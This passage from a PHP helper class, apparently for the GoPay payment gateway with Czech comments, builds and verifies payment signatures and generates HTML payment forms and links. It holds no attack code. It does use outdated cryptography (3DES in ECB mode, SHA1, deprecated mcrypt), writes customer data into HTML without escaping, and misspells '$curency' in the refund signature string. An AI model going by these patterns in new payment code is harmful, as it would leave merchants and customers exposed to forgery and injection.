										  		$secureKey) {

		$preAuthorization = GopayHelper::castBooleanForWS($preAuthorization);
		$recurrentPayment = GopayHelper::castBooleanForWS($recurrentPayment);

		return $goId . "|" . trim($productName) . "|" . $totalPriceInCents . "|" . trim($currency) . "|" . trim($orderNumber) . "|" . trim($failedURL) . "|" . trim($successURL) . "|" . $preAuthorization . "|" . $recurrentPayment . "|" . trim($recurrenceDateTo)."|".trim($recurrenceCycle) . "|" . trim($recurrencePeriod) . "|" . trim($paymentChannels) . "|" . $secureKey; 
  	}

  	 /**
  	 * Sestaveni retezce pro podpis vysledku stavu platby.
  	 *
	 * @param float $goId - identifikator prijemce prideleny GoPay
	 * @param string $productName - popis objednavky zobrazujici se na platebni brane
	 * @param float $totalPriceInCents - celkova cena objednavky v halerich
	 * @param string $currency - identifikator meny platby
	 * @param string $orderNumber - identifikator objednavky u prijemce
	 * @param float $parentPaymentSessionId - id puvodni platby pri opakovane platbe
	 * @param int $preAuthorization - jedna-li se o predautorizovanou platbu true => 1, false => 0, null=>"" 
	 * @param int $recurrentPayment - jedna-li se o opakovanou platbu true => 1, false => 0, null=>""
  	 * @param string $result - vysledek volani (CALL_COMPLETED / CALL_FAILED)
  	 * @param string $sessionState - stav platby - viz GopayHelper
  	 * @param string $sessionSubState - podstav platby - detailnejsi popis stavu platby
  	 * @param string $paymentChannel - pouzita platebni metoda
	 * @param string $secureKey - kryptovaci klic prideleny prijemci, urceny k podepisovani komunikace
  	 * @return retezec pro podpis
  	 */
	public static function concatPaymentStatus($goId,
										  		$productName, 
										  		$totalPriceInCents, 
										  		$currency, 
										  		$orderNumber,
										  		$recurrentPayment,
										  		$parentPaymentSessionId,
										  		$preAuthorization,
										  		$result,
										  		$sessionState,
										  		$sessionSubState,
										  		$paymentChannel,
										  		$secureKey) {
  	  
		$preAuthorization = GopayHelper::castBooleanForWS($preAuthorization);
		$recurrentPayment = GopayHelper::castBooleanForWS($recurrentPayment);

        return $goId . "|" . trim($productName) . "|" . $totalPriceInCents . "|" . $currency . "|" . trim($orderNumber) . "|" . $recurrentPayment . "|" . $parentPaymentSessionId . "|" . $preAuthorization . "|" . $result . "|" . $sessionState . "|" . $sessionSubState . "|" . $paymentChannel . "|" . $secureKey; 
  	}
  	
  	
  	/**
  	 * Sestaveni retezce pro podpis platební session pro přesměrování na platební bránu GoPay 
  	 * nebo volání GoPay služby stav platby
  	 *
  	 * @param float $goId - identifikator prijemce prideleny GoPay
  	 * @param float $paymentSessionId - identifikator platby na GoPay
	 * @param string $secureKey - kryptovaci klic prideleny prijemci, urceny k podepisovani komunikace
  	 * @return retezec pro podpis
  	 */
	public static function concatPaymentSession($goId, $paymentSessionId, $secureKey) {

		return $goId . "|" . $paymentSessionId . "|" . $secureKey; 
  	}

  	/**
  	 * Sestaveni retezce pro podpis parametru platby (paymentIdentity)
  	 *
  	 * @param float $goId - identifikator prijemce prideleny GoPay
  	 * @param float $paymentSessionId - identifikator platby na GoPay
 	 * @param float $parentPaymentSessionId - id puvodni platby pri opakovane platbe
 	 * @param string $orderNumber - identifikator platby u prijemce
  	 * @param string $secureKey - kryptovaci heslo pridelene prijemci, urcene k podepisovani komunikace
  	 * @return retezec pro podpis
  	 */
	public static function concatPaymentIdentity($goId,
										  	 	$paymentSessionId,
										  	 	$parentPaymentSessionId,
										  	 	$orderNumber, 
										  	 	$secureKey) {
		
		if ($parentPaymentSessionId == null) {
			$parentPaymentSessionId = "";
		}
		
		return $goId . "|" . $paymentSessionId . "|" . $parentPaymentSessionId . "|" . trim($orderNumber) . "|" . $secureKey;
  	}
	
  	/**
  	 * Sestaveni retezce pro podpis.
  	 *
  	 * @param float $paymentSessionId - identifikator platby na GoPay
  	 * @param string $result - vysledek volani
	 * @param string $secureKey - kryptovaci klic prideleny uzivateli, urceny k podepisovani komunikace
  	 * @return retezec pro podpis
  	 */
  	public static function concatPaymentResult($paymentSessionId, $result, $secureKey) {

		return $paymentSessionId . "|" . trim($result) . "|" . $secureKey; 
  	}
  	
  	
  	/**
  	 * Sestaveni retezce pro stazeni vypisu plateb uzivatele
  	 *
  	 * @param date $dateFrom - datum (vcetne), od ktereho se generuje vypis
  	 * @param date $dateTo - datum (vcetne), do ktereho se generuje vypis
  	 * @param float $targetGoId - identifikator uzivatele prideleny GoPay
	 * @param string $secureKey - kryptovaci klic prideleny prijemci, urceny k podepisovani komunikace
  	 * @return retezec pro podpis
  	 */
	public static function concatStatementRequest($dateFrom,
												$dateTo,
												$targetGoId,
												$secureKey) {

		return $dateFrom . "|" . $dateTo . "|" . $targetGoId . "|" . $secureKey; 
  	}
  	
	/**
	 * Sestaveni retezce pro podpis pozadavku opakovane platby.
	 *
	 * @param float $parentPaymentSessionId - id puvodni platby pri opakovane platbe
	 * @param float $targetGoId - identifikator prijemce prideleny GoPay
 	 * @param string $orderNumber - identifikator platby u prijemce
	 * @param float $totalPriceInCents - celkova cena objednavky v halerich
	 * @param string $secureKey - kryptovaci klic prideleny prijemci, urceny k podepisovani komunikace
  	 * @return retezec pro podpis
	 */
  	public static function concatRecurrenceRequest($parentPaymentSessionId,
										  		$orderNumber,
										  		$totalPriceInCents,
										  		$targetGoId,
										  		$secureKey) {

  		return $parentPaymentSessionId . "|" . $targetGoId . "|" . $orderNumber . "|" . $totalPriceInCents . "|" . $secureKey;
  	}

  	/**
    * Sestaveni retezce pro podpis sessionInfo.
    * 
  	* @param float $targetGoId - identifikator prijemce prideleny GoPay
  	* @param float $paymentSessionId - identifikator platby na GoPay
   	* @param string $amount - castka na vraceni
   	* @param string $currency - identifikator meny platby
   	* @param string $description - popis refundace
  	* @param string $secureKey - kryptovaci klic prideleny prijemci, urceny k podepisovani komunikace
  	* @return retezec pro podpis
    */
  	public static function concatRefundRequest($targetGoId,
	                                       $paymentSessionId,
	                                       $amount,
	                                       $currency,
	                                       $description,
	                                       $secureKey) {

  		return $targetGoId . "|" . $paymentSessionId . "|" . $amount . "|" . $curency . "|" . $description . "|" . $secureKey;
	}

  	/**
  	 * Sifrovani dat 3DES
  	 *
  	 * @param string $data - retezec, ktery se sifruje
 	 * @param string $secureKey - kryptovaci klic prideleny prijemci, urceny k podepisovani komunikace
 	 * @return sifrovany obsah v HEX forme
  	 */
	public static function encrypt($data, $secureKey) {
  		$td = mcrypt_module_open (MCRYPT_3DES, '', MCRYPT_MODE_ECB, '');
        $mcrypt_iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
        mcrypt_generic_init ($td, substr($secureKey, 0, mcrypt_enc_get_key_size($td)), $mcrypt_iv);
        $encrypted_data = mcrypt_generic ($td, $data);
        mcrypt_generic_deinit ($td);
        mcrypt_module_close ($td);

        return bin2hex($encrypted_data);
  	}

  	/**
  	 * desifrovani
  	 *
  	 * @param string $data - zasifrovana data
 	 * @param string $secureKey - kryptovaci klic prideleny prijemci, urceny k podepisovani komunikace
  	 * @return desifrovany retezec
  	 */
	public static function decrypt($data, $secureKey) {
  		$td = mcrypt_module_open (MCRYPT_3DES, '', MCRYPT_MODE_ECB, '');
        $mcrypt_iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
        mcrypt_generic_init ($td, substr($secureKey, 0, mcrypt_enc_get_key_size($td)), $mcrypt_iv);

        $decrypted_data = mdecrypt_generic($td, GopayHelper::convert($data));
        mcrypt_generic_deinit ($td);
        mcrypt_module_close ($td);

		return Trim($decrypted_data);

  	}  	

  	/**
  	 * hash SHA1 dat
  	 *
  	 * @param string $data - data k hashovani
  	 * @return otisk dat SHA1
  	 */
	public static function hash($data) {
  		if (function_exists("sha1")==true) {
  			$hash = sha1($data, true);

  		} else {
  			$hash = mhash(MHASH_SHA1,$data);
  		}

  		return bin2hex($hash);   		
  	}

  	/**
  	 * konverze z HEX -> string
  	 *
  	 * @param string $hexString - data k konverzi
  	 * @return konverze z HEX -> string
  	 */
	public static function convert($hexString) {

  		$hexLenght = strlen($hexString);
  		// only hex numbers is allowed                
  		if ($hexLenght % 2 != 0 || preg_match("/[^\da-fA-F]/",$hexString)) return FALSE;
  		$binString = "";
  		for ($x = 1; $x <= $hexLenght/2; $x++) {                        
  			$binString .= chr(hexdec(substr($hexString, 2 * $x - 2, 2)));

  		}

  		return $binString;
  	}

	/**
	 * Kontrola stavu platby proti internim udajum objednavky - verifikace podpisu.
	 *
	 * @param mixed $paymentStatus - vysledek volani paymentStatus
	 * @param string $sessionState - ocekavany stav paymentSession (WAITING, PAYMENT_DONE)
  	 * @param float $goId - identifikator prijemce prideleny GoPay
	 * @param string $orderNumber - identifikace akt. objednavky u prijemce
	 * @param float $totalPriceInCents - cena objednavky v halerich
	 * @param string $currency - identifikator meny platby
	 * @param string $productName - nazev objednavky / zbozi
	 * @param string $secureKey - kryptovaci klic prideleny prijemci, urceny k podepisovani komunikace
 	 * 
	 * @throw Exception
	 */
	public static function checkPaymentStatus($paymentStatus,
							  	 			$sessionState,
							  	 			$goId,
							  	 			$orderNumber,  	 			
							  	 			$totalPriceInCents,
							  	 			$currency,
							  	 			$productName,
							  	 			$secureKey	 			
							  	 			) {

		if (! empty($paymentStatus)) {

			if ( $paymentStatus->result != GopayHelper::CALL_COMPLETED) {
				throw new Exception("PS invalid call state state");
			}

			if ( $paymentStatus->sessionState != $sessionState) {
				throw new Exception("PS invalid session state");
			}

			if (trim($paymentStatus->orderNumber) != trim($orderNumber)) {
				throw new Exception("PS invalid VS");
			}

			if (trim($paymentStatus->productName) != trim($productName)) {
				throw new Exception("PS invalid PN");
			}

			if ($paymentStatus->targetGoId != $goId) {
				throw new Exception("PS invalid GoID");
			}

			if ($paymentStatus->totalPrice != $totalPriceInCents) {
				throw new Exception("PS invalid price");
			}

			if ($paymentStatus->currency != $currency) {
				throw new Exception("PS invalid currency");
			}

		} else {
			throw new Exception("None payment status");
		}
		/*
		 * Kontrola podpisu objednavky
		 */
		$hashedSignature = GopayHelper::hash(
				GopayHelper::concatPaymentStatus(
					$paymentStatus->targetGoId,
					$paymentStatus->productName,						
					$paymentStatus->totalPrice,
					$paymentStatus->currency,
					$paymentStatus->orderNumber,
					$paymentStatus->recurrentPayment,
					$paymentStatus->parentPaymentSessionId,
					$paymentStatus->preAuthorization,
					$paymentStatus->result,
					$paymentStatus->sessionState,
					$paymentStatus->sessionSubState,
					$paymentStatus->paymentChannel,
					$secureKey)
		);

		$decryptedHash = GopayHelper::decrypt($paymentStatus->encryptedSignature, $secureKey);

		if ($decryptedHash != $hashedSignature) {
			throw new Exception("PS invalid signature");
		}
	}
	
	/**
	 * Kontrola parametru predavanych ve zpetnem volani po potvrzeni/zruseni platby - verifikace podpisu.
	 *
	 * @param float $returnedGoId - goId vracene v redirectu
	 * @param float $returnedPaymentSessionId - paymentSessionId vracene v redirectu
 	 * @param float $returnedParentPaymentSessionId - id puvodni platby pri opakovane platbe
	 * @param string $returnedOrderNumber - identifikace objednavky vracena v redirectu - identifikator platby na eshopu
	 * @param string $returnedEncryptedSignature - kontrolni podpis vraceny v redirectu 
	 * @param float $targetGoId - identifikace prijemce - GoId pridelene GoPay
	 * @param string $orderNumber - identifikace akt. objednavky
	 * @param string $secureKey - kryptovaci klic prideleny eshopu / uzivateli, urceny k podepisovani komunikace
	 * 
	 * @throw Exception
	 */
	public static function checkPaymentIdentity($returnedGoId,
								  				$returnedPaymentSessionId,
								  				$returnedParentPaymentSessionId,
								  				$returnedOrderNumber,
								  				$returnedEncryptedSignature,
								  	 			$targetGoId,
								  	 			$orderNumber,
								  	 			$secureKey) {

		if (trim($returnedOrderNumber) != trim($orderNumber)) {
			throw new Exception("PI invalid VS");
		}

		if ($returnedGoId != $targetGoId) {
			throw new Exception("PI invalid GoID");
		}

		$hashedSignature=GopayHelper::hash(
				GopayHelper::concatPaymentIdentity(
					(float)$returnedGoId,
					(float)$returnedPaymentSessionId,						
					(float)$returnedParentPaymentSessionId,						
					$returnedOrderNumber,
					$secureKey));

		$decryptedHash = GopayHelper::decrypt($returnedEncryptedSignature, $secureKey);

		if ($decryptedHash != $hashedSignature) {
			throw new Exception("PS invalid signature");
		}
	}
	
	/**
	 * Kontrola parametru predavanych ve zpetnem volani po potvrzeni/zruseni platby - verifikace podpisu.
	 *
	 * @param float $returnedPaymentSessionId - paymentSessionId vracene v redirectu
	 * @param string $returnedEncryptedSignature - kontrolni podpis vraceny v redirectu
 	 * @param float $paymentResult - vysledek volani
	 * @param float $paymentSessionId - identifikator platby na GoPay
	 * @param string $secureKey - kryptovaci klic prideleny eshopu / uzivateli, urceny k podepisovani komunikace
	 * 
	 * @throw Exception
	 */
	public static function checkPaymentResult($returnedPaymentSessionId,
											$returnedEncryptedSignature,
											$paymentResult,
								  			$paymentSessionId,  	 			
								  			$secureKey) {

		if ($returnedPaymentSessionId != $paymentSessionId) {
			throw new Exception("PaymentResult invalid PSID");
		}

		$hashedSignature = GopayHelper::hash(
								GopayHelper::concatPaymentResult(
									(float)$paymentSessionId,
									$paymentResult,						
									$secureKey));

		$decryptedHash = GopayHelper::decrypt($returnedEncryptedSignature, $secureKey);

		if ($decryptedHash != $hashedSignature) {
			throw new Exception("PaymentResult invalid signature");
		}
	}

  	/**
	 * Sestaveni formulare platebniho tlacitka pro jednoduchou integraci
	 * 
	 *
	 * @param float $targetGoId - identifikace prijemce - GoId pridelene GoPay
	 * @param string $productName - nazev objednavky / zbozi
	 * @param int $totalPrice - cena objednavky v halerich
	 * @param string $currency - identifikator meny
	 * @param string $orderNumber - identifikace objednavky u prijemce
	 * @param string $successURL - URL, kam se ma prejit po uspesnem zaplaceni
	 * @param string $failedURL - URL, kam se ma prejit po neuspesnem zaplaceni
	 * @param array $paymentChannels - pole plat. metod, ktere se zobrazi na brane
	 * @param string $secureKey - kryptovaci klic prideleny prijemci, urceny k podepisovani komunikace
	 * 
	 * @param boolean $preAuthorization - jedna-li se o predautorizovanou platbu
	 * @param boolean $recurrentPayment - jedna-li se o opakovanou platbu
	 * @param date $recurrenceDateTo - do kdy se ma opakovana platba provadet
	 * @param string $recurrenceCycle - frekvence opakovresultane platby - mesic/tyden/den
	 * @param int $recurrencePeriod - pocet plateb v cyklu $recurrenceCycle - kolikrat v mesici/... se opakovana platba provede 
	 * 
	 * Informace o zakaznikovi
	 * @param string $firstName   - Jmeno zakaznika
	 * @param string $lastName    - Prijmeni
	 * 
	 * Adresa
	 * @param string $city        - Mesto
	 * @param string $street      - Ulice
	 * @param string $postalCode  - PSC
	 * @param string $countryCode - Kod zeme. Validni kody jsou uvedeny ve tride CountryCode
	 * @param string $email       - Email zakaznika
	 * @param string $phoneNumber - Tel. cislo
	 * 
	 * @param string $p1 - $p4 - volitelne parametry, ketre budou po navratu z platebni brany predany e-shopu
	 * 
	 * @param string $lang - jazyk platebni brany
	 * 
	 * @return HTML kod platebniho formulare
	 */
	public static function createPaymentForm($targetGoId,
									  		$productName, 
									  		$totalPrice, 
									  		$currency, 
									  		$orderNumber,
									  		$successURL, 
									  		$failedURL,
									  		$preAuthorization,
									  		$recurrentPayment,
									  		$recurrenceDateTo,
									  		$recurrenceCycle,
									  		$recurrencePeriod,
									  		$paymentChannels,
									  		$defaultPaymentChannel,
									  		$secureKey,
								  			$firstName,
								  			$lastName,
								  			$city,
								  			$street,
								  			$postalCode,
								  			$countryCode,
								  			$email,
								  			$phoneNumber,
									  		$p1,
									  		$p2,
									  		$p3,
									  		$p4,
									  		$lang) {

		$paymentChannelsString = (!empty($paymentChannels)) ? join($paymentChannels, ",") : "";

		$encryptedSignature = GopayHelper::encrypt(
				GopayHelper::hash(
					GopayHelper::concatPaymentCommand((float)$targetGoId,
													$productName,
													(int)$totalPrice,
													$currency,
													$orderNumber,
													$failedURL,
													$successURL,
													$preAuthorization,
													$recurrentPayment,
											  		$recurrenceDateTo,
											  		$recurrenceCycle,
											  		$recurrencePeriod,
											  		$paymentChannelsString,
													$secureKey)),
												$secureKey);

  		$ouput = "";
  		$ouput .= "<form method='post' action='" . GopayConfig::baseIntegrationURL() . "'>\n";
			$ouput .= '<input type="hidden" name="paymentCommand.targetGoId" value="' . $targetGoId . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.productName" value="' . trim($productName) . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.totalPrice" value="' . $totalPrice . '" />' . "\n";
			$ouput .= '<input type="hidden" name="paymentCommand.currency" value="' . trim($currency) . '" />' . "\n";
			$ouput .= '<input type="hidden" name="paymentCommand.orderNumber" value="' . trim($orderNumber) . '"/>'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.successURL" value="' . trim($successURL) . '" />' ."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.failedURL" value="' . trim($failedURL) . '" />' ."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.paymentChannels" value="' . trim($paymentChannelsString) . '" />' ."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.defaultPaymentChannel" value="' . trim($defaultPaymentChannel) . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.encryptedSignature" value="' . $encryptedSignature . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.preAuthorization" value="' . GopayHelper::castBoolean2String($preAuthorization) . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.recurrentPayment" value="' . GopayHelper::castBoolean2String($recurrentPayment) . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.recurrenceDateTo" value="' . $recurrenceDateTo . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.recurrenceCycle" value="' . $recurrenceCycle . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.recurrencePeriod" value="' . $recurrencePeriod . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.customerData.firstName" value="' . $firstName . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.customerData.lastName" value="' . $lastName . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.customerData.city" value="' . $city . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.customerData.street" value="' . $street . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.customerData.postalCode" value="' . $postalCode . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.customerData.countryCode" value="' . $countryCode . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.customerData.email" value="' . $email . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.customerData.phoneNumber" value="' . $phoneNumber . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.p1" value="' . $p1 . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.p2" value="' . $p2 . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.p3" value="' . $p3 . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.p4" value="' . $p4 . '" />'."\n";
			$ouput .= '<input type="hidden" name="paymentCommand.lang" value="' . $lang . '" />'."\n";
		$ouput .= '<input type="submit" name="buy" value="Zaplatit" class="button">'."\n";
		$ouput .= "</form>\n";

	  	return $ouput;
  	}
 	
	
  	/**
	 * Sestaveni platebniho tlacitka formou odkazu pro jednoduchou integraci
	 * 
	 * @param float $targetGoId - identifikace prijemce - GoId pridelene GoPay
	 * @param string $productName - nazev objednavky / zbozi
	 * @param int $totalPrice - cena objednavky v halerich
	 * @param string $currency - identifikator meny
	 * @param string $orderNumber - identifikace objednavky u prijemce
	 * @param string $successURL - URL, kam se ma prejit po uspesnem zaplaceni
	 * @param string $failedURL - URL, kam se ma prejit po neuspesnem zaplaceni
	 * @param array $paymentChannels - pole plat. metod, ktere se zobrazi na brane
	 * @param string $secureKey - kryptovaci klic prideleny prijemci, urceny k podepisovani komunikace
	 * 
	 * @param boolean $preAuthorization - jedna-li se o predautorizovanou platbu
	 * @param boolean $recurrentPayment - jedna-li se o opakovanou platbu
	 * @param date $recurrenceDateTo - do kdy se ma opakovana platba provadet
	 * @param string $recurrenceCycle - frekvence opakovresultane platby - mesic/tyden/den
	 * @param int $recurrencePeriod - pocet plateb v cyklu $recurrenceCycle - kolikrat v mesici/... se opakovana platba provede 
	 * 
	 * Informace o zakaznikovi
	 * @param string $firstName   - Jmeno zakaznika
	 * @param string $lastName    - Prijmeni
	 * 
	 * Adresa
	 * @param string $city        - Mesto
	 * @param string $street      - Ulice
	 * @param string $postalCode  - PSC
	 * @param string $countryCode - Kod zeme. Validni kody jsou uvedeny ve tride CountryCode
	 * @param string $email       - Email zakaznika
	 * @param string $phoneNumber - Tel. cislo
	 * 
	 * @param string $p1 - $p4 - volitelne parametry, ketre budou po navratu z platebni brany predany e-shopu
	 * 
	 * @param string $lang - jazyk platebni brany
	 * 
	 * @return HTML kod platebniho tlacitka
	 */
	public static function createPaymentHref($targetGoId,
									  		$productName, 
									  		$totalPrice, 
									  		$currency, 
									  		$orderNumber,
									  		$successURL, 
									  		$failedURL,
									  		$preAuthorization,
									  		$recurrentPayment,
									  		$recurrenceDateTo,
									  		$recurrenceCycle,
									  		$recurrencePeriod,
									  		$paymentChannels,
									  		$defaultPaymentChannel,
									  		$secureKey,
								  			$firstName,
								  			$lastName,
								  			$city,
								  			$street,
								  			$postalCode,
								  			$countryCode,
								  			$email,
								  			$phoneNumber,
									  		$p1,
									  		$p2,
									  		$p3,
									  		$p4,
									  		$lang) {

		$paymentChannelsString = (!empty($paymentChannels)) ? join($paymentChannels, ",") : "";

		$encryptedSignature = GopayHelper::encrypt(
				GopayHelper::hash(
					GopayHelper::concatPaymentCommand((float)$targetGoId,
													$productName, 
													(int)$totalPrice,
													$currency,
													$orderNumber,
													$failedURL,
													$successURL,
													$preAuthorization,
													$recurrentPayment,
											  		$recurrenceDateTo,
											  		$recurrenceCycle,
											  		$recurrencePeriod,
											  		$paymentChannelsString,
													$secureKey)),
											$secureKey);

  		$params = "";
		$params .= "paymentCommand.targetGoId=" . $targetGoId;
  		$params .= "&paymentCommand.productName=" . urlencode($productName);
  		$params .= "&paymentCommand.totalPrice=" . $totalPrice;
  		$params .= "&paymentCommand.currency=" . $currency;
  		$params .= "&paymentCommand.orderNumber=" . urlencode($orderNumber);
  		$params .= "&paymentCommand.successURL=" . urlencode($successURL);
  		$params .= "&paymentCommand.failedURL=" . urlencode($failedURL);
  		$params .= "&paymentCommand.paymentChannels=" . urlencode($paymentChannelsString);
  		$params .= "&paymentCommand.defaultPaymentChannel=" . urlencode($defaultPaymentChannel);
  		$params .= "&paymentCommand.encryptedSignature=" . urlencode($encryptedSignature);
  		$params .= "&paymentCommand.preAuthorization=" . GopayHelper::castBoolean2String($preAuthorization);
  		$params .= "&paymentCommand.recurrentPayment=" . GopayHelper::castBoolean2String($recurrentPayment);
  		$params .= "&paymentCommand.recurrenceDateTo=" . urlencode($recurrenceDateTo);
  		$params .= "&paymentCommand.recurrenceCycle=" . urlencode($recurrenceCycle);
  		$params .= "&paymentCommand.recurrencePeriod=" . $recurrencePeriod;
  		$params .= "&paymentCommand.customerData.firstName=" . urlencode($firstName);
  		$params .= "&paymentCommand.customerData.lastName=" . urlencode($lastName);
  		$params .= "&paymentCommand.customerData.city=" . urlencode($city);
  		$params .= "&paymentCommand.customerData.street=" . urlencode($street);
  		$params .= "&paymentCommand.customerData.postalCode=" . urlencode($postalCode);
  		$params .= "&paymentCommand.customerData.countryCode=" . urlencode($countryCode);
  		$params .= "&paymentCommand.customerData.email=" . urlencode($email);
  		$params .= "&paymentCommand.customerData.phoneNumber=" . urlencode($phoneNumber);
		$params .= "&paymentCommand.p1=" . urlencode($p1);
		$params .= "&paymentCommand.p2=" . urlencode($p2);
		$params .= "&paymentCommand.p3=" . urlencode($p3);
		$params .= "&paymentCommand.p4=" . urlencode($p4);
		$params .= "&paymentCommand.lang=" . $lang;

  		$ouput = "";
  		$ouput .= "<a target='_blank' href='" . GopayConfig::baseIntegrationURL() . "?" . $params . "'>";
  		$ouput .= " Zaplatit ";
  		$ouput .= "</a>";

	  	return $ouput;
  	}
	
	/**
	 *  pomocne funkce pro praci s booleanem
	 */

	/**
	 * Pretypovani datoveho typu boolean pro webovou sluzbu
	 * 
	 * @param boolean $boolean 
	 * 
	 * @return integer (0|1), v pripade nevalidniho zadani se vraci "" 
	 */
	public static function castBooleanForWS($boolean) {
		$boolean = GopayHelper::castString2Boolean($boolean);
		
		if ($boolean === FALSE) {
			return 0;
	
		} else 	if ($boolean === TRUE) {
			return 1; 

		} else {
			return "";
		}
	}
	
	/**
	 * Pretypovani datoveho typu String na boolean
	 * 
	 * @param String $input 
	 * 
	 * @return boolean (TRUE|FALSE) v pripade spravne nastaveneho $input, jinak puvodni $input
	 */
	public static function castString2Boolean($input) {
		if (is_string($input)) {

			if (strtolower($input) == "true") {
				return TRUE;

			} else if (strtolower($input) == "false") {
				return FALSE;

			}
		}

		return $input;
	}
	
	/**
	 * Pretypovani datoveho typu boolean na String
	 * pouziti ve  platebnim tlacitku weboveho formulare ci odkazu
	 * 
	 * @param boolean $boolean 
	 * 
	 * @return String ("true"|"false"), v pripade nevalidniho vstupu se vraci puvodni vstupni parametr 
	 */
	public function castBoolean2String($boolean) {
	   if (is_bool($boolean)) {

		   return ($boolean) ? "true" : "false";
	   }

	   return $boolean;
	}

}
?>